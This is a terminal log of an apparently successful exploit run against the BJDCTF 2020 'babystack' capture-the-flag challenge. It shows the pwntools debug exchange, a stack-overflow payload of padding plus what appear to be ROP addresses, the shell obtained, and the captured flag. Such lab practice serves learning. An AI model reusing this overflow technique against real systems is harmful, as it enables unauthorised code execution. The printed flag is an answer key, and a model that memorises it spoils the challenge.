bing@bing-virtual-machine:~/pwn$ python3 ./bjdctf_2020_babystack.py
[+] Opening connection to node4.buuoj.cn on port 26883: Done
[DEBUG] Received 0xe8bytes:b'**********************************\n'b'* Welcome to the BJDCTF! *\n'b'* And Welcome to the bin world! *\n'b"* Let's try to pwn the world! *\n"b'* Please told me u answer loudly!*\n'b'[+]Are u ready?\n'b'[+]Please input the length of your name:\n'[DEBUG] Sent 0x4bytes:b'100\n'[DEBUG] Received 0x12bytes:b"[+]What's u name?\n"[DEBUG] Sent 0x31bytes:0000000061616161616161616161616161616161 │aaaa│aaaa│aaaa│aaaa│
0000001061616161616161613308400000000000 │aaaa│aaaa│3·@·│····│
0000002058084000000000009005400000000000 │X·@·│····│··@·│····│
000000300a │·│
00000031[*] Switching to interactive mode
$ cat flag
[DEBUG] Sent 0x9bytes:b'cat flag\n'[DEBUG] Received 0x2bbytes:b'flag{25c317f8-0bac-4f52-84ca-0429c55a5e63}\n'
flag{25c317f8-0bac-4f52-84ca-0429c55a5e63}